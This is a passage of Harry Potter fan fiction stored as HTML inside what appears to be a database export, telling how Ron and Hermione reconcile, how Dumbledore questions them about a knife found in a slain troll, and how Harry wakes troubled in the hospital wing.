you could have done anyway! Just be grateful that any of you\nare still alive.&#8217; McGonagall scolded, both Ron and Hermione. &#8216; What Harry did\nwas certainly very foolish,&#8217; McGonagall looked puzzled briefly before\ncontinuing, &#8216; even if it did end up saving all of you from having to suffer the\nsame, or worse. However, it was no more foolish than any of you being there in\nthe first place. In fact I&#8217;d say that you were the one that acted more\nreasonably. On top of that, if you had tried to do something as well as Harry\nthen it&#8217;s likely that Ms. Granger would be the only one in any condition to be\nwalking about, and it may have been to late for you or Mr. Potter by the time\nshe could bring help.&#8217;</p>\n\n<p class="MsoNormal">This seemed to finally get through to Ron.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nYou mean it would have been worse for Harry if I had tried to help him sooner?&#8217;\nRon asked, in an almost desperate tone.</p>\n\n<p class="MsoNormal">McGonagall looked at him with a raised\neyebrow. &#8216; Precisely, Mr. Weasley. Now is there any point in telling you and\nMs. Granger to return to your dormitory? Or will you find some other\nmischief&nbsp; to get into on the way back?&#8217;</p>\n\n<p class="MsoNormal">As much as both Ron and Hermione wanted to\nstay with their friend, they knew he would be okay, and McGonagall&#8217;s stern look\nwas enough to make them both shake their heads and mutter their assurances that\nthey would go straight back to the dormitory.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nMr. Potter is lucky to have such a good friend as you, Mr. Weasley.&#8217; Professor\nMcGonagall told Ron in as soft a voice as she ever used, as he turned to leave\nwith Hermione. &#8216; I&#8217;m sure he doesn&#8217;t blame you. From the way you tell it I\nbelieve he was ready to trade his life for yours. I&#8217;m sure he will tell you\nmuch the same when he wakes. You will both be notified when he is able to\nreceive visitors.&#8217; Both Ron and Hermione were quite surprised at the almost\nsympathetic tone in her voice, but it didn&#8217;t last long.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nNow hurry back to your dormitory. We will have to deal with your being out of\nthe dorms against our orders not to leave, when Harry is conscious.&#8217; McGonagall\ncontinued in her usual strict tone, which allowed no protest.</p>\n\n<p class="MsoNormal">Ron and Hermione turned away once more and\nheaded back to their dormitory. Neither was particularly interested in spending\ntime with the other, but they were looking forward to facing the onslaught of\nquestions from their fellow Gryffindors even less. For a while the two walked\nin awkward silence, taking the longest way back to Gryffindor tower and walking\nas slow as they could without going backwards. In the end it was Ron who broke\nthe silence.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nI&#8217;m, uh- I&#8217;m sorry about the whole trapping you with the troll thing.&#8217; Ron\nmutter, his face going slightly red from embarrassment.</p>\n\n<p class="MsoNormal">Hermione sighed shortly. &#8216; Oh, stop it.&#8217;\nShe said, sounding a little annoyed, but not at Ron. &#8216; It wasn&#8217;t your fault.\nThere was no way you could have known I was in there in the first place, and\neven if you&#8217;d have left the door wide open the troll had me cornered.&#8217; Her head\nslumped a little as she continued. &#8216; If anyone is to blame here, it&#8217;s me. You\nguys came to help me and you were put in danger because of it, and worse, Harry\nwas injured.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nPlease! Stop being so&#8230;noble.&#8217; Ron answered. &#8216; You never would have been in\nthere, Harry and I wouldn&#8217;t have come looking for you, and Harry wouldn&#8217;t be in\nthe hospital wing right now if I had just listened to him in the first place\nand tried being civil to you. I- &#8216; He stated, getting more worked up as he\nwent, until Hermione grabbed his arm.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWe&#8217;re starting again.&#8217; Was all she said giving Ron a sad look and letting his\narm go.</p>\n\n<p class="MsoNormal">Ron stared for a moment then sighed. &#8216;\nYou&#8217;re right. This kind of thing is what started it all, isn&#8217;t it? Look, I&#8217;m\nreally sorry about how I&#8217;ve been treating you.&#8217; He said, stopping and turning\nto face Hermione. &#8216; I had no right. I guess I was just kind of jealous&#8230;&#8217; he\nexplained, trailing off.</p>\n\n<p class="MsoNormal">Hermione frowned. She was used to Ron\nacting stubborn and lazy, but he usually made sense.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nJealous? Jealous of what? My hordes of friends and admirers?&#8217; Hermione asked in\na slightly bitter tone.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nNo.&#8217; Ron exhaled, a pained look on his face. &#8216; It&#8217;s just that we&#8217;re both Harry&#8217;s\nfriends, but it&#8217;s always Harry helping me with homework and stuff, while you&#8217;re\nable to help Harry with it. It started getting to me that you&#8217;re a more\nvaluable friend to Harry than I am.&#8217; Ron sighed again &#8216; He&#8217;s talked a lot about\nhow you can always take something from a book and apply it to real life so\neasily and other things like that.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nIt&#8217;s not just your fault. I didn&#8217;t exactly give you a whole lot of reason to\nwant to be friends with me.&#8217; Hermione answered. &#8216; And to tell the truth, I was\nkind of jealous of you as well. I might be able to help Harry with schoolwork,\nbut I can&#8217;t help him with anything else. You&#8217;re the one that is always helping\nhim understand the everyday wizarding world. Harry could do just fine without\nme helping him with his schoolwork, and he helped me to by the way, but he&#8217;s\nalways laughing about how you&#8217;re always having to save him from making a fool\nof himself whenever he encounters some magical device that he&#8217;s never seen\nbefore, but is common knowledge to wizards.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nHow about we just agree that we&#8217;re both at fault?&#8217; Ron suggested, with a\ntentative smile.</p>\n\n<p class="MsoNormal">Hermione grinned. &#8216; Sure. Truce?&#8217; she asked\nholding out her hand a little uncertainly.</p>\n\n<p class="MsoNormal">Ron looked down at her hand for a moment,\nand then shook it, letting go immediately.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nTruce.&#8217; Ron confirmed. &#8216; I don&#8217;t want to take the chance of something like this\nhappening to Harry again because of us. Even if it was just bad luck this\ntime.&#8217;</p>\n\n<p class="MsoNormal">Ron and Hermione became quiet once more at\nthe thought of Harry lying so motionless in the hospital wing. They turned and\nwalked the rest of the way back to the Gryffindor common room in silence.</p>\n\n<p class="MsoNormal">Fortunately Ron and Hermione didn&#8217;t have to\nanswer any questions when they got back to the common room. The Halloween feast\nwas continuing in each house&#8217;s common room and no one noticed the two entering\nexcept for one or two seventh years who seemed to be going about making sure\nthe rather noisy party didn&#8217;t get too out of hand. They hadn&#8217;t seen Ron leave\nwith Harry though, and so they didn&#8217;t ask any questions.</p>\n\n<p class="MsoNormal">Hermione went straight to the girls&#8217; dorm\nafter climbing through the portrait hole, and Ron went to the boys&#8217; dorm a few\nminutes later, earning him odd looks from Dean and Seamus.</p>\n\n<p class="MsoNormal">Normally Ron would have been eating\neverything in sight and playing card games or chess with everyone else, but\nsomehow he just didn&#8217;t feel like celebrating with the others while Harry was\nmissing out.</p>\n\n<p class="MsoNormal">&#191; &lt;\'}}}&gt;&lt;</p>\n\n<p class="MsoNormal">Later on in the evening Professor\nMcGonagall came to tell the Gryffindors to quiet down.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhere are Ronald Weasley and Hermione Granger?&#8217; she asked, glancing about the\ncrowded common room.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nthink Ron is up in our dormitory.&#8217; Offered Seamus &#8216; Shall I go get him?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nPlease do.&#8217; McGonagall nodded in his direction. &#8216; I assume that Miss Granger is\nalso in her dorm? Would someone please tell her that I wish to speak to her?&#8217;</p>\n\n<p class="MsoNormal">Lavender got up, with a sour look, from\nwhere she had been sitting on a couch with Seamus (who had been trying for most\nof the evening to get away) and went up the stairs to the girls&#8217; dorm.</p>\n\n<p class="MsoNormal">Seamus returned a moment later pointing\nout, to an anxious Ron, where McGonagall was waiting by the portrait hole.\nSeamus then disappeared into the mass of still celebrating students with a\nfurtive glance towards the girls&#8217; dorm where Lavender had gone.</p>\n\n<p class="MsoNormal">Ron opened his mouth to ask if Harry was\nalright as he approached McGonagall, but she forestalled his question with a\nstern look.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nHarry is not yet awake, although Madam Pomfrey assures me that he will be\nfine.&#8217; Professor McGonagall explained, looking as though she had other things\non her mind, as indeed she did. &#8216; I am not here however, to discuss Mr.\nPotter&#8217;s health. When Ms. Granger arrives we will be visiting Professor\nDumbledore&#8217;s office.&#8217;</p>\n\n<p class="MsoNormal">Confused, Ron opened his mouth to ask why,\nbut was once again predicted by McGonagall who told him that the reason for the\nmeeting with the headmaster would be explained when they got there.</p>\n\n<p class="MsoNormal">Hermione arrived, with slightly red eyes,\njust as McGonagall finished speaking to Ron.</p>\n\n<p class="MsoNormal">They left immediately; with Ron and\nHermione walking a few steps behind McGonagall as Ron explained to Hermione\nwhat was going on or at least what he knew about what was going on, and that he\nhad been assured of Harry&#8217;s eventual recovery.</p>\n\n<p class="MsoNormal">Eventually McGonagall stopped in front of\none of the uglier, but more comical looking, gargoyles and leaned close,\nwhispering something that neither Ron nor Hermione heard. As McGonagall leaned\naway again the gargoyle&#8217;s ears twitched and it shook it&#8217;s head, as if waking\nfrom a nap before stepping aside to reveal a doorway and a spiral staircase.</p>\n\n<p class="MsoNormal">&#8216; So can you tell us why we&#8217;re here now?&#8217;\nRon questioned as McGonagall led the two up the spiralling stairs. &#8216;&nbsp; I mean I know it must have something to do\nwith the troll, but I thought that you said that you were going to wait until\nHarry was awake to deal with that.&#8217;</p>\n\n<p class="MsoNormal">Hermione looked at Ron with alarm, as\nthough she wanted to scold him for talking to a professor in such a manner, but\nshe also looked equally interested in McGonagall&#8217;s answer.</p>\n\n<p class="MsoNormal">McGonagall looked as though she was looking\nfor a reason not to answer, but as they were not yet at the headmaster&#8217;s\noffice, she found none.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThe reason you are both here is that inspection of the b&#8212; *ahem* of the troll,\nyielded unexpected and rather&#8230; suspicious results. That is all I will say for\nnow. The headmaster will explain the rest in due course.&#8217;</p>\n\n<p class="MsoNormal">A minute or two later the three finally\nreached the door to Dumbledore&#8217;s office.</p>\n\n<p class="MsoNormal">The first thing both Ron and Hermione\nnoticed upon entering was a large, brilliant ball of fire.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAh! Mr. Weasley, Ms. Granger, I see you have noticed Fawkes.&#8217; Dumbledore\ngreeted them from beside his desk.</p>\n\n<p class="MsoNormal">At the sound of it&#8217;s name the ball of fire\nshook itself and looked up and Ron and Hermione realized that it actually had a\nhead and was sitting on a perch.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; A\nphoenix!&#8217; Hermione breathed in awe. &#8216; They&#8217;re supposed to quite rare and\nextremely difficult to tame!&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAhem!&#8217; McGonagall cleared her throat, &#8216; If we might get on with the reason for\nthis meeting?&#8217;</p>\n\n<p class="MsoNormal">Abashed, Ron and Hermione closed their\nmouths and turned to a merrily smiling Dumbledore. Even McGonagall&#8217;s usually\nexpressionless mouth was twitching at the corners.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAh, yes. To the matter at hand.&#8217; Said Dumbledore, as the perpetual twinkle of\nhis eyes dimmed slightly. &#8216; I have been told your story of what happened of\ncourse, although I still fail to see why you and mister Potter did not simply\ninform a staff member of the situation Mr. Weasley,&#8217; he went on in a lighter\ntone, raising a bushy eyebrow at Ron, &#8216; ; however, I would like to hear it once\nmore from your own mouths.&#8217;</p>\n\n<p class="MsoNormal">Ron shared a nervous look with Hermione\nbefore turning back to face the two professors.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWell, I guess it started in charms class when&#8230;&#8217;</p>\n\n<p class="MsoNormal">Ron and Hermione both told the story\ntogether, filling in details for each other when Dumbledore or McGonagall\nasked.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nHermione, &#8216; Dumbledore questioned, &#8216; did you happen to notice the troll&#8217;s eyes\nperhaps? What colour they were?&#8217;</p>\n\n<p class="MsoNormal">&#8216; No, sir. I was &#8211; I was too scared to\nreally notice.&#8217; Hermione said hanging her head and looking very interested in\nher hands in her lap.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nVery well.&#8217; Dumbledore stated with a hint of a sigh. &#8216; Please continue.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWell, I guess that all the noise and shouting made it go a little nuts because\neven when Harry shouted at me it didn&#8217;t seem to notice and it just kept coming\nat me. Then Harry ran in front of it and Hermione did some kind of spell or\ncharm that made flashing lights and colours in front of it&#8217;s eyes, and it\nstarted swinging it&#8217;s club all over.&#8217; Ron closed his eyes and took a deep\nbreath then went on. &#8216; I &#8211; I couldn&#8217;t even do anything. I just stood there,\nbehind Harry&#8230;&#8217; Ron stopped and hung his head with his eyes still closed.</p>\n\n<p class="MsoNormal">Hermione took up the story for Ron with\nsympathetic look in his direction. &#8216; It must have been the smell, no one can\nsmell something that bad and not be affected by it.&#8217;</p>\n\n<p class="MsoNormal">Ron lifted his head with a snort of\nunexpected laughter and Dumbledore smiled his approval at Hermione.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nAnyway,&#8217; Hermione continued, &#8216; Harry jumped back to get away from the club, but\nthen&#8230; he did something- it looked like he just jumped at it and punched it-&#8216;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhere, precisely, did Mr. Potter- hit the troll, Ms. Granger?&#8217; McGonagall asked\nwith an inquisitive frown.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nRight here.&#8217; Ron said, pointing at his heart. &#8216; Then that&#8217;s when the troll hit\nhim with it&#8217;s club and smashed him into the wall. Then it sort of stumbled\ntowards him and that&#8217;s when Hermione and I cast &#8220;Wingardium Leviosa&#8221; on the\nclub and dropped in on the troll&#8217;s head.&#8217;</p>\n\n<p class="MsoNormal">Dumbledore leaned back in his chair\nstroking his long white beard and looking to be deep in thought.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWell then Mr. Weasley, I&#8217;m sure you can see now that you did in fact help save\nyour friend.&#8217; Professor McGonagall said to Ron. &#8216; You may not have acted as\nquickly as Mr. Potter, but you certainly acted with as much Gryffindor bravery\nas he in order to protect your friend. As did you Ms. Granger. Twenty points\nwill be awarded to Gryffindor for such fine examples of Gryffindor qualities.&#8217;</p>\n\n<p class="MsoNormal">Both Ron and Hermione&#8217;s eyes lit up at this\nand even more at the proud tone evident in their head of house&#8217;s tone.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThere is still of course the fact that you and Mr. Potter should not have acted\non your own Ronald, but we&#8217;ll deal with that later.&#8217; McGonagall admonished, but\nRon still grinned at her approval.</p>\n\n<p class="MsoNormal">Now Dumbledore seemed to have reached some\nsort of decision, and he reached into a drawer in his desk to pull something\nout which had been wrapped in a plain grey cloth.</p>\n\n<p class="MsoNormal">&nbsp;&#8216; I\nam sure you are both curious as to why I would be so interested in hear the\nstory again from you directly, and although I cannot explain everything, I will\ntell you what I can.&#8217; The headmaster told the two first years.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nProfessors Flitwick and Sinatra were sent to investigate the troll, and if\nnecessary, to deal with it however they saw fit. Upon inspection of the troll\nthey discovered several unusual things. As you may have guessed, it was indeed\na mountain troll. They are not entirely uncommon in this area, but there is a\nrather powerful charm on the Hogwarts grounds designed specifically to deter\ntrolls. I won&#8217;t get into the details of it, but I will tell you that to get a\ntroll close to the school, much less to get it to enter the school requires\nconsiderable- Shall we say persuasion? In short, the troll must have been sent\nhere. I would ask that you not share this information with any of the other\nstudents as it may cause useless rumour. Yes, Hermione? What is it?&#8217; asked\nDumbledore smiling as Hermione raised her hand as if in class.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nSorry to interrupt, but how could&#8212;&#8216; Hermione gestured helplessly &#8216; any of this\nhave happened? I know there are more security measures than mere charms and\nwards to get past to enter Hogwarts.&#8217;</p>\n\n<p class="MsoNormal">The headmaster looked at the two carefully,\na calculating look behind the twinkle in his eyes. &#8216; I can see that you will be\nmore likely to inquire more into this, and possibly raise questions in the\nother students if I don&#8217;t answer you. I remind you though that sometimes we are\nnot ready for the answers we want. I think I can trust you not to tell anyone\nother than Harry about whatever I might tell you?&#8217; He asked looking Ron and\nHermione both carefully.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nOf course you can, sir. Besides, we&#8217;re Gryffindors!&#8217; Ron stated proudly, and\nHermione nodded as well.</p>\n\n<p class="MsoNormal">Dumbledore smiled softly. &#8216; Just because a\nperson is brave does not mean they are a good person, but I understand your\nmeaning. The fact is that dark magic must have been used in order to get a\ntroll into Hogwarts without it being detected. I know this information\nundoubtedly brings more questions to mind, children, but I must ask that you\nkeep them to yourselves for now, and we must finish our discussion about the\ntroll you took care of. One of the other unusual things that Professors\nFlitwick and Sinatra found was this.&#8217;</p>\n\n<p class="MsoNormal">Dumbledore began to carefully unwrap the\nsmall cloth package on the desk. As though it might bit his fingers if he\nwasn&#8217;t careful.</p>\n\n<p class="MsoNormal">Inside the wrapping was a small knife. It&#8217;s\nhandle could have been made of bone except it was black and almost shiny, with\nwhat looked like foreign writing carved into the side to provide a grip. The\nblade was plain and straight, about a hand span in length and looked to be in\nperfect condition.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nIt was found in the troll&#8217;s chest, and it is ultimately what killed the troll.\nNow it might be that someone found the troll and stabbed it with this in\nbetween the time you left and when the two professor&#8217;s found it&#8217;s body, except\nthat it was facedown on the floor with the knife underneath it and it would\ntake several people and great effort to roll the troll over, or magic, the\nresidue of which would have been detected by Professor Sinastra.&#8217; McGonagall\nexplained.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nWhich leads to the conclusion that it was most likely Harry who had the knife\nand killed the troll.&#8217; Dumbledore stated calmly. &#8216; Now the troll would have\nneeded to be &#8220;put down&#8221; in any case, due to certain factors revealed by\nProfessor Flitwick&#8217;s charms. There were spells eating away at the troll from\nthe inside that would have caused it to die in great pain, and there are few\nother ways to deal with such vicious creatures once they have made their way\ninto a populated area, but no Hogwarts student is allowed to carry a\nnon-magical weapon without the knowledge and consent of the staff.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nBut why would any weapon be allowed, sir?&#8217; Ron asked, wide eyed.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThere are all sorts of charms and spells and wards all over Hogwarts that\nprevent the use of any potentially lethal magic by anyone but Hogwarts staff.&#8217;\nHermione answered. &#8216; It&#8217;s in &#8220;Hogwarts: A History&#8221;.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThat is correct Ms. Granger. I&#8217;m impressed. I never have actually read the\nwhole book, as good as it is.&#8217; Dumbledore said. &#8216; But the question at hand is\nwhether or not the knife is actually Harry&#8217;s, and why he would have it if it is\nhis.&#8217;</p>\n\n<p class="MsoNormal">Hermione let out a sort of quiet whine from\nthe back of her throat as she thought of the possibility of Harry being\nexpelled for have a knife that had saved her life.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThere is little chance of sever punishment for Harry, of course.&#8217; Dumbledore\nassured her, &#8216; After all he did not know it was not allowed and he certainly\nused it in an appropriate situation and as a last resort, but can either of you\nconfirm that it is in fact his knife?&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nI&#8217;ve never seen it before now. Not even when we were fighting the troll.&#8217;\nHermione answered quickly.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nI- I think I might have seen a flash of the blade when Harry punched the\ntroll.&#8217; Ron said with uncertainty &#8216; but it might just have been part of\nHermione&#8217;s spell&#8230;&#8217;</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThen neither of you can say for sure whether or not it is actually Harry&#8217;s?&#8217;\nMcGonagall asked.</p>\n\n<p class="MsoNormal">Both shook their heads and mumbled\napologies.</p>\n\n<p class="MsoNormal">&nbsp;&#8216;\nThat is all then.&#8217; Dumbledore said kindly. &#8216; I&#8217;m sure you would both like to\nget back to you dorms now. I&#8217;m sorry to have caused you to miss so much of the\ncelebration. Professor McGonagall? Would you please guide them back to their\ndorms? We can wait until Harry is awake tomorrow to continue this discussion.&#8217;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">AN- Criticism please! Not much else to say&#8230;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><b>H/H FOREVER!</b></p>\n\n<p class="MsoNormal">Bye!</p>\n\n\n\n\n\n\n'),
	(17, 19, '\n\n\n\n\n\n\n\n<p class="MsoNormal">AN- Okay, here it is! Not very much to say\nright now is there?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">H/H FOREVER!</p>\n\n<p class="MsoNormal">Bye!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">@@@@@@@@@@@@@@@@@@@@@@@@@</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216; That is all then.&#8217; Dumbledore said\nkindly. &#8216; I&#8217;m sure you would both like to get back to you dorms now. I&#8217;m sorry\nto have caused you to miss so much of the celebration. Professor McGonagall?\nWould you please guide them back to their dorms? We can wait until Harry is\nawake tomorrow to continue this discussion.&#8217;</p>\n\n<p class="MsoNormal">Dumbledore watched as Professor McGonagall\nled the two back down the stairs and when he was sure they were gone he closed\nthe door and returned to his desk, sitting down and peering intently at the\nknife. After a moment&#8217;s pondering he took out his wand and whispered &#8216; Accio.&#8217;</p>\n\n<p class="MsoNormal">He waited for a minute, but when nothing\nhappened, the headmaster sat back in his chair looking both puzzled and\nintrigued.</p>\n\n<p class="MsoNormal">&lt; I don&#8217;t know if this is really yours,\nHarry, but if it is, I&#8217;d certainly like to know where you got it.&gt; he\nthought with a frown and a sigh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When Madam Pomfrey had given Harry a\nsleeping potion to let him sleep until morning, when most of the pain of his\nbones mending would have passed, she didn&#8217;t think of making it a dreamless\nsleep potion to ease the pain in his mind. And there was pain in Harry&#8217;s\ndreams.</p>\n\n<p class="MsoNormal">Looking at Harry&#8217;s sleeping form you\nwouldn&#8217;t notice any sign that he was having any dream at all, other than the\nusual lack of expression that Harry wore when he was awake, he looked as\npeaceful as any other sleeping person. But if one could look past his closed\neyes to the dream his unconscious mind showed him, they would see that Harry\nPotter&#8217;s mind was anything but peaceful.</p>\n\n<p class="MsoNormal">Even as Harry&#8217;s body recovered from the\nfight with the troll, Harry&#8217;s mind relived it, playing and replaying the last\nmoments before Harry lost consciousness. He felt the sickening vibration he had\nfelt when he had stuck his knife through the troll&#8217;s heart, and he knew in his\ndream, as he had realized just before he had been knocked out, that the thump\nhe felt through the knife had been the last beat of the beast&#8217;s heart. Harry\nhad killed a being that probably had little idea of what was going on, for no\nmore reason than that Harry hadn&#8217;t found a way to save his friends without\nkilling the troll.</p>\n\n<p class="MsoNormal">Harry had always hated things dying. Seeing\nroad kill had made Dudley laugh while it made Harry frustrated that there was\nnothing he could do. Even when walking home from school in the rain, Harry had\nwalked with his head down to avoid stepping on any worms, and often stopped to\npick them out of puddles where he simply couldn&#8217;t stand to see them drowning.\nHarry had even avoided stepping on ants when he noticed them (AN- Some of you\nmight think this is a little far fetched, but I myself do the exact same thing,\nso there!).</p>\n\n<p class="MsoNormal">Harry knew that he had unintentionally\nkilled plenty of things like ants in his life, but now he had killed a troll.\nWhat was worse was that he had done it on purpose, and worst of all was that\ntrolls, while not exactly sentient, did have some vague understanding of the\nfact that they existed.</p>\n\n<p class="MsoNormal">Perhaps Harry&#8217;s mind realized that it was\ntorturing itself with the repeating dream of the troll&#8217;s death, or perhaps\nHarry&#8217;s quick metabolism processed the sleeping potion faster than normal, but\nfor whatever reason Harry awoke much sooner than had been expected. Which meant\nthat he awoke by himself in a strange, dark place, feeling more than a little\ndisoriented and confused thanks to the lingering effects of the sleeping\npotion.</p>\n\n<p class="MsoNormal">The moment Harry awoke, his eyes snapped\nopen and he sat straight up in the hospital bed. This turned out to be a big\nmistake as his bones still hadn&#8217;t finished healing and the pressure put on his\nribs by sitting up was as torturous to his body as the dream had been to his mind.</p>\n\n<p class="MsoNormal">Harry sucked in a breath, falling back\nagain and clenching his teeth against the pain.</p>\n\n<p class="MsoNormal">&lt; Where am I?&gt; Harry wondered, and as\nsoon as he did, he remembered what had happened&#8230; and that he had killed the\ntroll.</p>\n\n<p class="MsoNormal">As memory rushed back into his conscious\nmind, Harry curled into a ball, lying on his uninjured side and started\nbreathing shakily as he remembered killing the troll. He really hadn&#8217;t intended\nto kill it, only to injure it so that Ron, Hermione and him could get away.\nUnfortunately he had found out that a troll&#8217;s heart wasn&#8217;t in quite the same\nplace relative to the rest of its body as a human&#8217;s heart.</p>\n\n<p class="MsoNormal">Eventually Harry fell asleep once more due\nto either the exhaustion of the healing his body was undergoing, or the still\nactive sleeping potion, or some combination of the two, but his sleep was\nmercifully dreamless.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As usual, Hermione was the first to get up\nin the girls&#8217; dorm the next day. Normally she would have used the time before\nthe rest of the house got up to work on homework or extra credit assignments,\neven if it was the weekend, but today wasn&#8217;t a usual day, and she was only\nmildly surprised when she entered the common room to find that Ron was already\nup and dressed.</p>\n\n<p class="MsoNormal">&#8216; McGonagall came by a few minutes ago.&#8217;\nRon informed Hermione, from where he sat in one of the armchairs in the common\nroom. &#8216; She said that we could go see Harry after lunch. That&#8217;s when the\nsleeping potion they gave him should wear off.&#8217;</p>\n\n<p class="MsoNormal">Hermione nodded as she sat down in a chair\nacross from Ron&#8217;s.</p>\n\n<p class="MsoNormal">&#8216; So&#8230; do you think that the knife was\nHarry&#8217;s?&#8217; she finally asked. The question had kept her awake for quite a while\nthe night before.</p>\n\n<p class="MsoNormal">Ron furrowed his brow in thought.</p>\n\n<p class="MsoNormal">&#8216; I really don&#8217;t know.&#8217; He said. &#8216; If it\nwere anyone else I&#8217;d have to say it&#8217;s probably not. After all, what good is a\nknife with so much magic around? But with Harry&#8230; well, you just never know what\nto expect.&#8217;</p>\n\n<p class="MsoNormal">Hermione nodded once again, this time with\na bit of a smirk.</p>\n\n<p class="MsoNormal">&#8216; He&#8217;s certainly a mysterious one, isn&#8217;t\nhe?&#8217; she asked. &#8216; I mean I&#8217;ve known him for a couple months now and I can still\nnever tell what he&#8217;s thinking.&#8217;</p>\n\n<p class="MsoNormal">Ron opened his mouth to respond when the\nportrait hole opening up to admit Professor McGonagall interrupted him.</p>\n\n<p class="MsoNormal">&#8216; Ah, good, you&#8217;re both here.&#8217; McGonagall\naddressed the two upon seeing them already waiting. &#8216; I know that I told you\nthat you&#8217;d have to wait until this afternoon to see Harry, but he has already\nwoken up. It appears that both the healing and sleeping potions worked much\nfaster than Madam Pomfrey had intended them to and she has deemed Harry able to\nreceive visitors, so long as you don&#8217;t get him over excited.&#8217;</p>\n\n<p class="MsoNormal">Both Ron and Hermione&#8217;s faces lit up at the\nnews and the two jumped up and rushed past McGonagall as soon as she finished\nspeaking, calling out their thanks over their shoulders as they rushed down the\ncorridor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#191; &lt;&#8217;}}}&gt;&lt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had woken up to the sounds of Madam\nPomfrey bustling around and getting ready for all the patients she expected to\nhave, seeing as it was the weekend. Harry sat up carefully, but found that his\nribs no longer bothered him and indeed the only evidence that anything had\nhappened to him were the bandages still tightly wound around his chest,\nrestricting his breathing somewhat.</p>\n\n<p class="MsoNormal">&#8216; Um&#8230; Madam Pomfrey?&#8217; Harry called to the\nbusy Matron.</p>\n\n<p class="MsoNormal">&#8216; Oh!&#8217; she exclaimed, spinning around to\nface Harry and placing a hand to her heart. &#8216; My goodness, you gave me a\nstart.&#8217;</p>\n\n<p class="MsoNormal">Her look of surprise quickly turned to one\nof puzzlement.</p>\n\n<p class="MsoNormal">&#8216; You shouldn&#8217;t have woken yet, the potion\nwas supposed to keep you under for several more hours.&#8217; Madam Pomfrey muttered\nas she hustled over to Harry&#8217;s bedside. &#8216; You certainly shouldn&#8217;t be sitting up\njust yet, you need to stay lying down until you ribs have finished healing, but\nnow that you&#8217;re up anyway we may as well check how your ribs are coming along.&#8217;</p>\n\n<p class="MsoNormal">She pulled out her wand and waved it at the\nbandages on Harry&#8217;s chest creating a dim yellow glow.</p>\n\n<p class="MsoNormal">&#8216; Well now that&#8217;s funny.&#8217; She mused to\nherself as if Harry weren&#8217;t even there and she waved her wand at the bandages\nagain causing them to glow a bit brighter.</p>\n\n<p class="MsoNormal">&#8216; Excuse me,&#8217; ventured Harry &#8216; but what\nexactly is &#8220;funny&#8221;?&#8217;</p>\n\n<p class="MsoNormal">&#8216; Hmm?&#8217; she said looking up from Harry&#8217;s\nribs to his face. &#8216; Well it seems that the potions that were given to you to\nheal your ribs have all done their jobs properly, but it really should have\ntaken a bit longer.&#8217;</p>\n\n<p class="MsoNormal">&#8216; How can you tell?&#8217; asked Harry with a\nfrown. &#8216; What does the charm you used do? And what did the yellow stuff mean?&#8217;</p>\n\n<p class="MsoNormal">&#8216; First I didn&#8217;t use a charm, I just\nactivated one in the bandages.&#8217; Pomfrey lectured, happy to explain the tools of\nher trade. &#8216; To answer your second question, the charm in the bandages, when\nactive, detects whatever potion is in the person they&#8217;re wrapped around and\nturns blue if the potion is active. That is to say if it is doing whatever it 